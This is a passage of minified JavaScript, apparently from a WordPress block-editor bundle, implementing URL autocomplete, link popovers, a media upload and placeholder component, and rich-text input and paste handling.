i=e.document;"number"!=typeof(n=i.documentElement[o])&&(n=i.body[o])}return n}function BB(e){return CB(e)}function IB(e){return CB(e,!0)}function jB(e){var t=function(e){var t,n,o,i=e.ownerDocument,r=i.body,l=i&&i.documentElement;return n=(t=e.getBoundingClientRect()).left,o=t.top,{left:n-=l.clientLeft||r.clientLeft||0,top:o-=l.clientTop||r.clientTop||0}}(e),n=e.ownerDocument,o=n.defaultView||n.parentWindow;return t.left+=BB(o),t.top+=IB(o),t}var EB,TB=new RegExp("^(".concat(/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,")(?!px)[a-z%]+$"),"i"),PB=/^(top|right|bottom|left)$/,MB="currentStyle",RB="runtimeStyle",NB="left";function AB(e,t){for(var n=0;n<e.length;n++)t(e[n])}function LB(e){return"border-box"===EB(e,"boxSizing")}"undefined"!=typeof window&&(EB=window.getComputedStyle?function(e,t,n){var o="",i=e.ownerDocument,r=n||i.defaultView.getComputedStyle(e,null);return r&&(o=r.getPropertyValue(t)||r[t]),o}:function(e,t){var n=e[MB]&&e[MB][t];if(TB.test(n)&&!PB.test(t)){var o=e.style,i=o[NB],r=e[RB][NB];e[RB][NB]=e[MB][NB],o[NB]="fontSize"===t?"1em":n||0,n=o.pixelLeft+"px",o[NB]=i,e[RB][NB]=r}return""===n?"auto":n});var DB=["margin","border","padding"],OB=-1,zB=2,FB=1;function VB(e,t,n){var o,i,r,l=0;for(i=0;i<t.length;i++)if(o=t[i])for(r=0;r<n.length;r++){var s;s="border"===o?"".concat(o+n[r],"Width"):o+n[r],l+=parseFloat(EB(e,s))||0}return l}function HB(e){return null!=e&&e==e.window}var GB={};function $B(e,t,n){if(HB(e))return"width"===t?GB.viewportWidth(e):GB.viewportHeight(e);if(9===e.nodeType)return"width"===t?GB.docWidth(e):GB.docHeight(e);var o="width"===t?["Left","Right"]:["Top","Bottom"],i="width"===t?e.offsetWidth:e.offsetHeight,r=(EB(e),LB(e)),l=0;(null==i||i<=0)&&(i=void 0,(null==(l=EB(e,t))||Number(l)<0)&&(l=e.style[t]||0),l=parseFloat(l)||0),void 0===n&&(n=r?FB:OB);var s=void 0!==i||r,a=i||l;if(n===OB)return s?a-VB(e,["border","padding"],o):l;if(s){var c=n===zB?-VB(e,["border"],o):VB(e,["margin"],o);return a+(n===FB?0:c)}return l+VB(e,DB.slice(n),o)}AB(["Width","Height"],(function(e){GB["doc".concat(e)]=function(t){var n=t.document;return Math.max(n.documentElement["scroll".concat(e)],n.body["scroll".concat(e)],GB["viewport".concat(e)](n))},GB["viewport".concat(e)]=function(t){var n="client".concat(e),o=t.document,i=o.body,r=o.documentElement[n];return"CSS1Compat"===o.compatMode&&r||i&&i[n]||r}}));var UB={position:"absolute",visibility:"hidden",display:"block"};function WB(e){var t,n=arguments;return 0!==e.offsetWidth?t=$B.apply(void 0,n):function(e,o,i){var r,l={},s=e.style;for(r in o)o.hasOwnProperty(r)&&(l[r]=s[r],s[r]=o[r]);for(r in function(){t=$B.apply(void 0,n)}.call(e),o)o.hasOwnProperty(r)&&(s[r]=l[r])}(e,UB),t}function KB(e,t,n){var o=n;if("object"!==xB(t))return void 0!==o?("number"==typeof o&&(o+="px"),void(e.style[t]=o)):EB(e,t);for(var i in t)t.hasOwnProperty(i)&&KB(e,i,t[i])}AB(["width","height"],(function(e){var t=e.charAt(0).toUpperCase()+e.slice(1);GB["outer".concat(t)]=function(t,n){return t&&WB(t,e,n?0:FB)};var n="width"===e?["Left","Right"]:["Top","Bottom"];GB[e]=function(t,o){return void 0===o?t&&WB(t,e,OB):t?(EB(t),LB(t)&&(o+=VB(t,["padding","border"],n)),KB(t,e,o)):void 0}}));var ZB=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?wB(n,!0).forEach((function(t){SB(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):wB(n).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({getWindow:function(e){var t=e.ownerDocument||e;return t.defaultView||t.parentWindow},offset:function(e,t){if(void 0===t)return jB(e);!function(e,t){"static"===KB(e,"position")&&(e.style.position="relative");var n,o,i=jB(e),r={};for(o in t)t.hasOwnProperty(o)&&(n=parseFloat(KB(e,o))||0,r[o]=n+t[o]-i[o]);KB(e,r)}(e,t)},isWindow:HB,each:AB,css:KB,clone:function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);if(e.overflow)for(var o in e)e.hasOwnProperty(o)&&(t.overflow[o]=e.overflow[o]);return t},scrollLeft:function(e,t){if(HB(e)){if(void 0===t)return BB(e);window.scrollTo(t,IB(e))}else{if(void 0===t)return e.scrollLeft;e.scrollLeft=t}},scrollTop:function(e,t){if(HB(e)){if(void 0===t)return IB(e);window.scrollTo(BB(e),t)}else{if(void 0===t)return e.scrollTop;e.scrollTop=t}},viewportWidth:0,viewportHeight:0},GB);function qB(e){return"function"==typeof e}class YB extends u.Component{constructor(e){super(e),this.onChange=this.onChange.bind(this),this.onFocus=this.onFocus.bind(this),this.onKeyDown=this.onKeyDown.bind(this),this.selectLink=this.selectLink.bind(this),this.handleOnClick=this.handleOnClick.bind(this),this.bindSuggestionNode=this.bindSuggestionNode.bind(this),this.autocompleteRef=e.autocompleteRef||(0,u.createRef)(),this.inputRef=(0,u.createRef)(),this.updateSuggestions=(0,p.debounce)(this.updateSuggestions.bind(this),200),this.suggestionNodes=[],this.suggestionsRequest=null,this.state={suggestions:[],showSuggestions:!1,suggestionsValue:null,selectedSuggestion:null,suggestionsListboxId:"",suggestionOptionIdPrefix:""}}componentDidUpdate(e){const{showSuggestions:t,selectedSuggestion:n}=this.state,{value:o,__experimentalShowInitialSuggestions:i=!1}=this.props;t&&null!==n&&this.suggestionNodes[n]&&!this.scrollingIntoView&&(this.scrollingIntoView=!0,function(e,t,n){n=n||{},9===t.nodeType&&(t=ZB.getWindow(t));var o=n.allowHorizontalScroll,i=n.onlyScrollIfNeeded,r=n.alignWithTop,l=n.alignWithLeft,s=n.offsetTop||0,a=n.offsetLeft||0,c=n.offsetBottom||0,u=n.offsetRight||0;o=void 0===o||o;var d,p,h,g,f,m,v,b,k,_,y=ZB.isWindow(t),x=ZB.offset(e),S=ZB.outerHeight(e),w=ZB.outerWidth(e);y?(v=t,_=ZB.height(v),k=ZB.width(v),b={left:ZB.scrollLeft(v),top:ZB.scrollTop(v)},f={left:x.left-b.left-a,top:x.top-b.top-s},m={left:x.left+w-(b.left+k)+u,top:x.top+S-(b.top+_)+c},g=b):(d=ZB.offset(t),p=t.clientHeight,h=t.clientWidth,g={left:t.scrollLeft,top:t.scrollTop},f={left:x.left-(d.left+(parseFloat(ZB.css(t,"borderLeftWidth"))||0))-a,top:x.top-(d.top+(parseFloat(ZB.css(t,"borderTopWidth"))||0))-s},m={left:x.left+w-(d.left+h+(parseFloat(ZB.css(t,"borderRightWidth"))||0))+u,top:x.top+S-(d.top+p+(parseFloat(ZB.css(t,"borderBottomWidth"))||0))+c}),f.top<0||m.top>0?!0===r?ZB.scrollTop(t,g.top+f.top):!1===r?ZB.scrollTop(t,g.top+m.top):f.top<0?ZB.scrollTop(t,g.top+f.top):ZB.scrollTop(t,g.top+m.top):i||((r=void 0===r||!!r)?ZB.scrollTop(t,g.top+f.top):ZB.scrollTop(t,g.top+m.top)),o&&(f.left<0||m.left>0?!0===l?ZB.scrollLeft(t,g.left+f.left):!1===l?ZB.scrollLeft(t,g.left+m.left):f.left<0?ZB.scrollLeft(t,g.left+f.left):ZB.scrollLeft(t,g.left+m.left):i||((l=void 0===l||!!l)?ZB.scrollLeft(t,g.left+f.left):ZB.scrollLeft(t,g.left+m.left)))}(this.suggestionNodes[n],this.autocompleteRef.current,{onlyScrollIfNeeded:!0}),this.props.setTimeout((()=>{this.scrollingIntoView=!1}),100)),e.value===o||this.props.disableSuggestions||(null!=o&&o.length?this.updateSuggestions(o):i&&this.updateSuggestions())}componentDidMount(){this.shouldShowInitialSuggestions()&&this.updateSuggestions()}componentWillUnmount(){var e,t;null===(e=this.suggestionsRequest)||void 0===e||null===(t=e.cancel)||void 0===t||t.call(e),this.suggestionsRequest=null}bindSuggestionNode(e){return t=>{this.suggestionNodes[e]=t}}shouldShowInitialSuggestions(){const{__experimentalShowInitialSuggestions:e=!1,value:t}=this.props;return e&&!(t&&t.length)}updateSuggestions(e=""){var t;const{__experimentalFetchLinkSuggestions:n,__experimentalHandleURLSuggestions:o}=this.props;if(!n)return;const i=!(null!==(t=e)&&void 0!==t&&t.length);var r,l;if(e=e.trim(),!i&&(e.length<2||!o&&(0,$n.isURL)(e)))return null===(r=this.suggestionsRequest)||void 0===r||null===(l=r.cancel)||void 0===l||l.call(r),this.suggestionsRequest=null,void this.setState({suggestions:[],showSuggestions:!1,suggestionsValue:e,selectedSuggestion:null,loading:!1});this.setState({selectedSuggestion:null,loading:!0});const s=n(e,{isInitialSuggestions:i});s.then((t=>{this.suggestionsRequest===s&&(this.setState({suggestions:t,suggestionsValue:e,loading:!1,showSuggestions:!!t.length}),t.length?this.props.debouncedSpeak((0,Je.sprintf)(/* translators: %s: number of results. */ /* translators: %s: number of results. */(0,Je._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",t.length,"kubio"),t.length),"assertive"):this.props.debouncedSpeak((0,Je.__)("No results.","kubio"),"assertive"))})).catch((()=>{this.suggestionsRequest===s&&this.setState({loading:!1})})).finally((()=>{this.suggestionsRequest===s&&(this.suggestionsRequest=null)})),this.suggestionsRequest=s}onChange(e){var t;let n="string"==typeof e?e:null==e||null===(t=e.target)||void 0===t?void 0:t.value;this.props.onChange(n)}onFocus(){const{suggestions:e}=this.state,{disableSuggestions:t,value:n}=this.props;!n||t||e&&e.length||null!==this.suggestionsRequest||this.updateSuggestions(n)}onKeyDown(e){var t,n;null===(t=(n=this.props).onKeyDown)||void 0===t||t.call(n,e);const{showSuggestions:o,selectedSuggestion:i,suggestions:r,loading:l}=this.state;if(!o||!r.length||l){switch(e.keyCode){case sd.UP:0!==e.target.selectionStart&&(e.preventDefault(),e.target.setSelectionRange(0,0));break;case sd.DOWN:this.props.value.length!==e.target.selectionStart&&(e.preventDefault(),e.target.setSelectionRange(this.props.value.length,this.props.value.length));break;case sd.ENTER:this.props.onSubmit&&(e.preventDefault(),this.props.onSubmit(null,e))}return}const s=this.state.suggestions[this.state.selectedSuggestion];switch(e.keyCode){case sd.UP:{e.preventDefault();const t=i?i-1:r.length-1;this.setState({selectedSuggestion:t});break}case sd.DOWN:{e.preventDefault();const t=null===i||i===r.length-1?0:i+1;this.setState({selectedSuggestion:t});break}case sd.TAB:null!==this.state.selectedSuggestion&&(this.selectLink(s),this.props.speak((0,Je.__)("Link selected.","kubio")));break;case sd.ENTER:e.preventDefault(),null!==this.state.selectedSuggestion?(this.selectLink(s),this.props.onSubmit&&this.props.onSubmit(s,e)):this.props.onSubmit&&this.props.onSubmit(null,e)}}selectLink(e){this.props.onChange(e.url,e),this.setState({selectedSuggestion:null,showSuggestions:!1})}handleOnClick(e){this.selectLink(e),this.inputRef.current.focus()}static getDerivedStateFromProps({value:e,instanceId:t,disableSuggestions:n,__experimentalShowInitialSuggestions:o=!1},{showSuggestions:i}){let r=i;const l=e&&e.length;return o||l||(r=!1),!0===n&&(r=!1),{showSuggestions:r,suggestionsListboxId:`block-editor-url-input-suggestions-${t}`,suggestionOptionIdPrefix:`block-editor-url-input-suggestion-${t}`}}render(){return(0,Nt.jsxs)(Nt.Fragment,{children:[this.renderControl(),this.renderSuggestions()]})}renderControl(){const{label:e=null,className:t,isFullWidth:n,instanceId:o,placeholder:i=(0,Je.__)("Paste URL or type to search","kubio"),__experimentalRenderControl:r,value:l="",hideLabelFromVision:s=!1}=this.props,{loading:a,showSuggestions:c,selectedSuggestion:u,suggestionsListboxId:d,suggestionOptionIdPrefix:p}=this.state,h=`url-input-control-${o}`,g={id:h,label:e,className:ms("block-editor-url-input",t,{"is-full-width":n}),hideLabelFromVision:s},f={id:h,value:l,required:!0,className:"block-editor-url-input__input",type:"text",onChange:this.onChange,onFocus:this.onFocus,placeholder:i,onKeyDown:this.onKeyDown,role:"combobox","aria-label":e?void 0:(0,Je.__)("URL","kubio"),"aria-expanded":c,"aria-autocomplete":"list","aria-owns":d,"aria-activedescendant":null!==u?`${p}-${u}`:void 0,ref:this.inputRef,suffix:this.props.suffix};return r?r(g,f,a):(0,Nt.jsxs)(ne.BaseControl,{__nextHasNoMarginBottom:!0,...g,children:[(0,Nt.jsx)(ne.__experimentalInputControl,{...f,__next40pxDefaultSize:!0}),a&&(0,Nt.jsx)(ne.Spinner,{})]})}renderSuggestions(){const{className:e,__experimentalRenderSuggestions:t}=this.props,{showSuggestions:n,suggestions:o,suggestionsValue:i,selectedSuggestion:r,suggestionsListboxId:l,suggestionOptionIdPrefix:s,loading:a}=this.state;if(!n||0===o.length)return null;const c={id:l,ref:this.autocompleteRef,role:"listbox"},u=(e,t)=>({role:"option",tabIndex:"-1",id:`${s}-${t}`,ref:this.bindSuggestionNode(t),"aria-selected":t===r||void 0});return qB(t)?t({suggestions:o,selectedSuggestion:r,suggestionsListProps:c,buildSuggestionItemProps:u,isLoading:a,handleSuggestionClick:this.handleOnClick,isInitialSuggestions:!(null!=i&&i.length),currentInputValue:i}):(0,Nt.jsx)(ne.Popover,{placement:"bottom",focusOnMount:!1,children:(0,Nt.jsx)("div",{...c,className:ms("block-editor-url-input__suggestions",{[`${e}__suggestions`]:e}),children:o.map(((e,t)=>(0,ff.createElement)(ne.Button,{__next40pxDefaultSize:!0,...u(0,t),key:e.id,className:ms("block-editor-url-input__suggestion",{"is-selected":t===r}),onClick:()=>this.handleOnClick(e)},e.title)))})})}}const XB=(0,p.compose)(p.withSafeTimeout,ne.withSpokenMessages,p.withInstanceId,(0,d.withSelect)(((e,t)=>{if(qB(t.__experimentalFetchLinkSuggestions))return;const{getSettings:n}=e(hs);return{__experimentalFetchLinkSuggestions:n().__experimentalFetchLinkSuggestions}})))(YB),{__experimentalPopoverLegacyPositionToPlacement:QB}=ge(ne.privateApis),JB=(0,u.forwardRef)((({additionalControls:e,children:t,renderSettings:n,placement:o,focusOnMount:i="firstElement",position:r,...l},s)=>{let a;void 0!==r&&Ye()("`position` prop in wp.blockEditor.URLPopover",{since:"6.2",alternative:"`placement` prop"}),void 0!==o?a=o:void 0!==r&&(a=QB(r)),a=a||"bottom";const[c,d]=(0,u.useState)(!1),p=!!n&&c;return(0,Nt.jsxs)(ne.Popover,{ref:s,role:"dialog","aria-modal":"true","aria-label":(0,Je.__)("Edit URL"),className:"block-editor-url-popover",focusOnMount:i,placement:a,shift:!0,variant:"toolbar",...l,children:[(0,Nt.jsx)("div",{className:"block-editor-url-popover__input-container",children:(0,Nt.jsxs)("div",{className:"block-editor-url-popover__row",children:[t,!!n&&(0,Nt.jsx)(ne.Button,{className:"block-editor-url-popover__settings-toggle",icon:e_,label:(0,Je.__)("Link settings"),onClick:()=>{d(!c)},"aria-expanded":c,size:"compact"})]})}),p&&(0,Nt.jsx)("div",{className:"block-editor-url-popover__settings",children:n()}),e&&!p&&(0,Nt.jsx)("div",{className:"block-editor-url-popover__additional-controls",children:e})]})}));JB.LinkEditor=function({autocompleteRef:e,className:t,onChangeInputValue:n,value:o,...i}){return(0,Nt.jsxs)("form",{className:ms("block-editor-url-popover__link-editor",t),...i,children:[(0,Nt.jsx)(XB,{value:o,onChange:n,autocompleteRef:e}),(0,Nt.jsx)(ne.Button,{icon:yC,label:(0,Je.__)("Apply"),type:"submit",size:"compact"})]})},JB.LinkViewer=function({className:e,linkClassName:t,onEditLinkClick:n,url:o,urlLabel:i,...r}){return(0,Nt.jsxs)("div",{className:ms("block-editor-url-popover__link-viewer",e),...r,children:[(0,Nt.jsx)(yB,{url:o,urlLabel:i,className:t}),n&&(0,Nt.jsx)(ne.Button,{icon:Ky,label:(0,Je.__)("Edit"),onClick:n,size:"compact"})]})};const eI=JB,tI=()=>{},nI=({src:e,onChange:t,onSubmit:n,onClose:o,popoverAnchor:i})=>(0,Nt.jsx)(eI,{anchor:i,onClose:o,children:(0,Nt.jsx)("form",{className:"block-editor-media-placeholder__url-input-form",onSubmit:n,children:(0,Nt.jsx)(ne.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,Je.__)("URL"),type:"url",hideLabelFromVision:!0,placeholder:(0,Je.__)("Paste or type URL"),onChange:t,value:e,suffix:(0,Nt.jsx)(ne.__experimentalInputControlSuffixWrapper,{variant:"control",children:(0,Nt.jsx)(ne.Button,{size:"small",icon:yC,label:(0,Je.__)("Apply"),type:"submit"})})})})}),oI=({src:e,onChangeSrc:t,onSelectURL:n})=>{const[o,i]=(0,u.useState)(null),[r,l]=(0,u.useState)(!1),s=()=>{l(!1),null==o||o.focus()};return(0,Nt.jsxs)("div",{className:"block-editor-media-placeholder__url-input-container",children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-media-placeholder__button",onClick:()=>{l(!0)},isPressed:r,variant:"secondary","aria-haspopup":"dialog",ref:i,children:(0,Je.__)("Insert from URL")}),r&&(0,Nt.jsx)(nI,{src:e,onChange:t,onSubmit:t=>{t.preventDefault(),e&&n&&(n(e),s())},onClose:s,popoverAnchor:o})]})},iI=(0,ne.withFilters)("editor.MediaPlaceholder")((function({value:e={},allowedTypes:t,className:n,icon:o,labels:i={},mediaPreview:r,notices:l,isAppender:s,accept:a,addToGallery:c,multiple:p=!1,handleUpload:h=!0,disableDropZone:g,disableMediaButtons:f,onError:m,onSelect:v,onCancel:b,onSelectURL:k,onToggleFeaturedImage:_,onDoubleClick:y,onFilesPreUpload:x=tI,onHTMLDrop:S,children:w,mediaLibraryButton:C,placeholder:B,style:I}){S&&Ye()("wp.blockEditor.MediaPlaceholder onHTMLDrop prop",{since:"6.2",version:"6.4"});const j=(0,d.useSelect)((e=>{const{getSettings:t}=e(hs);return t().mediaUpload}),[]),[E,T]=(0,u.useState)("");(0,u.useEffect)((()=>{var t;T(null!==(t=null==e?void 0:e.src)&&void 0!==t?t:"")}),[null==e?void 0:e.src]);const P=n=>{if(!h||"function"==typeof h&&!h(n))return v(n);let o;if(x(n),p)if(c){let t=[];o=n=>{const o=(null!=e?e:[]).filter((e=>e.id?!t.some((({id:t})=>Number(t)===Number(e.id))):!t.some((({urlSlug:t})=>e.url.includes(t)))));v(o.concat(n)),t=n.map((e=>{const t=e.url.lastIndexOf("."),n=e.url.slice(0,t);return{id:e.id,urlSlug:n}}))}}else o=v;else o=([e])=>v(e);j({allowedTypes:t,filesList:n,onFileChange:o,onError:m,multiple:p})};async function M(e){const{blocks:n}=bg(e);if(null==n||!n.length)return;const o=await Promise.all(n.map((e=>{const n=e.name.split("/")[1];return e.attributes.id?(e.attributes.type=n,e.attributes):new Promise(((o,i)=>{window.fetch(e.attributes.url).then((e=>e.blob())).then((r=>j({filesList:[r],additionalData:{title:e.attributes.title,alt_text:e.attributes.alt,caption:e.attributes.caption,type:n},onFileChange:([e])=>{e.id&&o(e)},allowedTypes:t,onError:i}))).catch((()=>o(e.attributes.url)))}))}))).catch((e=>m(e)));v(p?o:o[0])}const R=e=>{P(e.target.files)},N=null!=B?B:e=>{let{instructions:a,title:c}=i;if(j||k||(a=(0,Je.__)("To edit this block, you need permission to upload media.")),void 0===a||void 0===c){const e=null!=t?t:[],[n]=e,o=1===e.length,i=o&&"audio"===n,r=o&&"image"===n,l=o&&"video"===n;void 0===a&&j&&(a=(0,Je.__)("Drag and drop an image or video, upload, or choose from your library."),i?a=(0,Je.__)("Drag and drop an audio file, upload, or choose from your library."):r?a=(0,Je.__)("Drag and drop an image, upload, or choose from your library."):l&&(a=(0,Je.__)("Drag and drop a video, upload, or choose from your library."))),void 0===c&&(c=(0,Je.__)("Media"),i?c=(0,Je.__)("Audio"):r?c=(0,Je.__)("Image"):l&&(c=(0,Je.__)("Video")))}const u=ms("block-editor-media-placeholder",n,{"is-appender":s});return(0,Nt.jsxs)(ne.Placeholder,{icon:o,label:c,instructions:a,className:u,notices:l,onDoubleClick:y,preview:r,style:I,children:[e,w]})},A=()=>g?null:(0,Nt.jsx)(ne.DropZone,{onFilesDrop:P,onDrop:M,isEligible:e=>{const n=[];for(const t of e.types)t.startsWith("wp-block:core/")&&n.push(t.slice(14));return n.every((e=>t.includes(e)))&&(!!p||1===n.length)}}),L=()=>b&&(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-media-placeholder__cancel-button",title:(0,Je.__)("Cancel"),variant:"link",onClick:b,children:(0,Je.__)("Cancel")}),D=()=>k&&(0,Nt.jsx)(oI,{src:E,onChangeSrc:T,onSelectURL:k}),O=()=>_&&(0,Nt.jsx)("div",{className:"block-editor-media-placeholder__url-input-container",children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,className:"block-editor-media-placeholder__button",onClick:_,variant:"secondary",children:(0,Je.__)("Use featured image")})});return f?(0,Nt.jsx)(vB,{children:A()}):(0,Nt.jsx)(vB,{fallback:N(D()),children:(()=>{const n=null!=C?C:({open:e})=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"secondary",onClick:()=>{e()},children:(0,Je.__)("Media Library")}),o=(0,Nt.jsx)(mB,{addToGallery:c,gallery:p&&!(!t||0===t.length)&&t.every((e=>"image"===e||e.startsWith("image/"))),multiple:p,onSelect:v,allowedTypes:t,mode:"browse",value:Array.isArray(e)?e.map((({id:e})=>e)):e.id,render:n});if(j&&s)return(0,Nt.jsxs)(Nt.Fragment,{children:[A(),(0,Nt.jsx)(ne.FormFileUpload,{onChange:R,accept:a,multiple:!!p,render:({openFileDialog:e})=>{const t=(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,variant:"primary",className:ms("block-editor-media-placeholder__button","block-editor-media-placeholder__upload-button"),onClick:e,children:(0,Je._x)("Upload","verb")}),o,D(),O(),L()]});return N(t)}})]});if(j){const e=(0,Nt.jsxs)(Nt.Fragment,{children:[A(),(0,Nt.jsx)(ne.FormFileUpload,{render:({openFileDialog:e})=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,onClick:e,variant:"primary",className:ms("block-editor-media-placeholder__button","block-editor-media-placeholder__upload-button"),children:(0,Je._x)("Upload","verb")}),onChange:R,accept:a,multiple:!!p}),o,D(),O(),L()]});return N(e)}return N(o)})()})})),rI=({colorSettings:e,...t})=>{const n=e.map((e=>{if(!e)return e;const{value:t,onChange:n,...o}=e;return{...o,colorValue:t,onColorChange:n}}));return(0,Nt.jsx)(Aw,{settings:n,gradients:[],disableCustomGradients:!0,...t})},lI={placement:"bottom-start"},sI=()=>(0,Nt.jsxs)(Nt.Fragment,{children:[["bold","italic","link","unknown"].map((e=>(0,Nt.jsx)(ne.Slot,{name:`RichText.ToolbarControls.${e}`},e))),(0,Nt.jsx)(ne.Slot,{name:"RichText.ToolbarControls",children:e=>{if(!e.length)return null;const t=e.map((([{props:e}])=>e)).some((({isActive:e})=>e));return(0,Nt.jsx)(ne.ToolbarItem,{children:n=>(0,Nt.jsx)(ne.DropdownMenu,{icon:e_/* translators: button label text should, if possible, be under 16 characters. */,label:(0,Je.__)("More"),toggleProps:{...n,className:ms(n.className,{"is-pressed":t}),description:(0,Je.__)("Displays more block tools")},controls:Dt(e.map((([{props:e}])=>e)),"title"),popoverProps:lI})})}})]});function aI({popoverAnchor:e}){return(0,Nt.jsx)(ne.Popover,{placement:"top",focusOnMount:!1,anchor:e,className:"block-editor-rich-text__inline-format-toolbar",__unstableSlotName:"block-toolbar",children:(0,Nt.jsx)(Fy,{className:"block-editor-rich-text__inline-format-toolbar-group"/* translators: accessibility text for the inline format toolbar */,"aria-label":(0,Je.__)("Format tools"),children:(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(sI,{})})})})}const cI=({inline:e,editableContentElement:t})=>e?(0,Nt.jsx)(aI,{popoverAnchor:t}):(0,Nt.jsx)(H_,{group:"inline",children:(0,Nt.jsx)(sI,{})});function uI(e){return e(Lt.store).getFormatTypes()}const dI=new Set(["a","audio","button","details","embed","iframe","input","label","select","textarea","video"]);function pI(e,t){return e[t]?e[t]:Object.keys(e).filter((e=>e.startsWith(t+"."))).reduce(((n,o)=>(n[o.slice(t.length+1)]=e[o],n)),{})}const hI=["`",'"',"'","“”","‘’"];function gI(e){let t=e.length;for(;t--;){const n=$r(e[t].attributes);if(n)return e[t].attributes[n]=e[t].attributes[n].toString().replace(Gr,""),[e[t].clientId,n,0,0];const o=gI(e[t].innerBlocks);if(o)return o}return[]}function fI(e){if(!0===e||"p"===e||"li"===e)return!0===e?"p":e}function mI({allowedFormats:e,disableFormats:t}){return t?mI.EMPTY_ARRAY:e}mI.EMPTY_ARRAY=[];const vI=[e=>t=>{function n(n){const{inputType:o,data:i}=n,{value:r,onChange:l,registry:s}=e.current;if("insertText"!==o)return;if((0,Lt.isCollapsed)(r))return;const a=(0,h.applyFilters)("blockEditor.wrapSelectionSettings",hI).find((([e,t])=>e===i||t===i));if(!a)return;const[c,u=c]=a,d=r.start,p=r.end+c.length;let g=(0,Lt.insert)(r,c,d,d);g=(0,Lt.insert)(g,u,p,p);const{__unstableMarkLastChangeAsPersistent:f,__unstableMarkAutomaticChange:m}=s.dispatch(hs);f(),l(g),m();const v={};for(const e in n)v[e]=n[e];v.data=u;const{ownerDocument:b}=t,{defaultView:k}=b,_=new k.InputEvent("input",v);window.queueMicrotask((()=>{n.target.dispatchEvent(_)})),n.preventDefault()}return t.addEventListener("beforeinput",n),()=>{t.removeEventListener("beforeinput",n)}},e=>t=>{function n(){const{getValue:t,onReplace:n,selectionChange:o,registry:i}=e.current;if(!n)return;const r=t(),{start:l,text:s}=r;if(" "!==s.slice(l-1,l))return;const a=s.slice(0,l).trim(),u=(0,c.getBlockTransforms)("from").filter((({type:e})=>"prefix"===e)),d=(0,c.findTransform)(u,(({prefix:e})=>a===e));if(!d)return;const p=(0,Lt.toHTMLString)({value:(0,Lt.insert)(r,Gr,0,l)}),h=d.transform(p);return o(...gI([h])),n([h]),i.dispatch(hs).__unstableMarkAutomaticChange(),!0}function o(t){const{inputType:o,type:i}=t,{getValue:r,onChange:l,__unstableAllowPrefixTransformations:s,formatTypes:a,registry:c}=e.current;if("insertText"!==o&&"compositionend"!==i)return;if(s&&n())return;const u=r(),d=a.reduce(((e,{__unstableInputRule:t})=>(t&&(e=t(e)),e)),function(e){const{start:t,text:n}=e;return t<18||"tales of gutenberg"!==n.slice(t-18,t).toLowerCase()?e:(0,Lt.insert)(e," 🐡🐢🦀🐤🦋🐘🐧🐹🦁🦄🦍🐼🐿🎃🐴🐝🐆🦕🦔🌱🍇π🍌🐉💧🥨🌌🍂🍠🥦🥚🥝🎟🥥🥒🛵🥖🍒🍯🎾🎲🐺🐚🐮⌛️")}(u)),{__unstableMarkLastChangeAsPersistent:p,__unstableMarkAutomaticChange:h}=c.dispatch(hs);d!==u&&(p(),l({...d,activeFormats:u.activeFormats}),h())}return t.addEventListener("input",o),t.addEventListener("compositionend",o),()=>{t.removeEventListener("input",o),t.removeEventListener("compositionend",o)}},e=>t=>{function n(t){if("insertReplacementText"!==t.inputType)return;const{registry:n}=e.current;n.dispatch(hs).__unstableMarkLastChangeAsPersistent()}return t.addEventListener("beforeinput",n),()=>{t.removeEventListener("beforeinput",n)}},()=>e=>{function t(e){(sd.isKeyboardEvent.primary(e,"z")||sd.isKeyboardEvent.primary(e,"y")||sd.isKeyboardEvent.primaryShift(e,"z"))&&e.preventDefault()}return e.addEventListener("keydown",t),()=>{e.removeEventListener("keydown",t)}},e=>t=>{const{keyboardShortcuts:n}=e.current;function o(e){for(const t of n.current)t(e)}return t.addEventListener("keydown",o),()=>{t.removeEventListener("keydown",o)}},e=>t=>{const{inputEvents:n}=e.current;function o(e){for(const t of n.current)t(e)}return t.addEventListener("input",o),()=>{t.removeEventListener("input",o)}},e=>t=>{function n(t){const{keyCode:n}=t;if(t.defaultPrevented)return;if(n!==sd.BACKSPACE&&n!==sd.ESCAPE)return;const{registry:o}=e.current,{didAutomaticChange:i,getSettings:r}=o.select(hs),{__experimentalUndo:l}=r();l&&i()&&(t.preventDefault(),l())}return t.addEventListener("keydown",n),()=>{t.removeEventListener("keydown",n)}},e=>t=>{function n(n){const{disableFormats:o,onChange:i,value:r,formatTypes:l,tagName:s,onReplace:a,__unstableEmbedURLOnPaste:u,preserveWhiteSpace:d,pastePlainText:p}=e.current;if(!t.contains(n.target))return;if(n.defaultPrevented)return;const{plainText:h,html:g}=Wp(n);if(n.preventDefault(),window.console.log("Received HTML:\n\n",g),window.console.log("Received plain text:\n\n",h),o)return void i((0,Lt.insert)(r,h));function f(e){const t=l.reduce(((e,{__unstablePasteRule:t})=>(t&&e===r&&(e=t(r,{html:g,plainText:h})),e)),r);if(t!==r)i(t);else{const t=(0,Lt.create)({html:e});!function(e,t){if(null!=t&&t.length){let n=e.formats.length;for(;n--;)e.formats[n]=[...t,...e.formats[n]||[]]}}(t,r.activeFormats),i((0,Lt.insert)(r,t))}}if("true"===n.clipboardData.getData("rich-text"))return void f(g);if(p)return void i((0,Lt.insert)(r,(0,Lt.create)({text:h})));let m="INLINE";const v=h.trim();u&&(0,Lt.isEmpty)(r)&&(0,$n.isURL)(v)&&/^https?:/.test(v)&&(m="BLOCKS");const b=(0,c.pasteHandler)({HTML:g,plainText:h,mode:m,tagName:s,preserveWhiteSpace:d});"string"==typeof 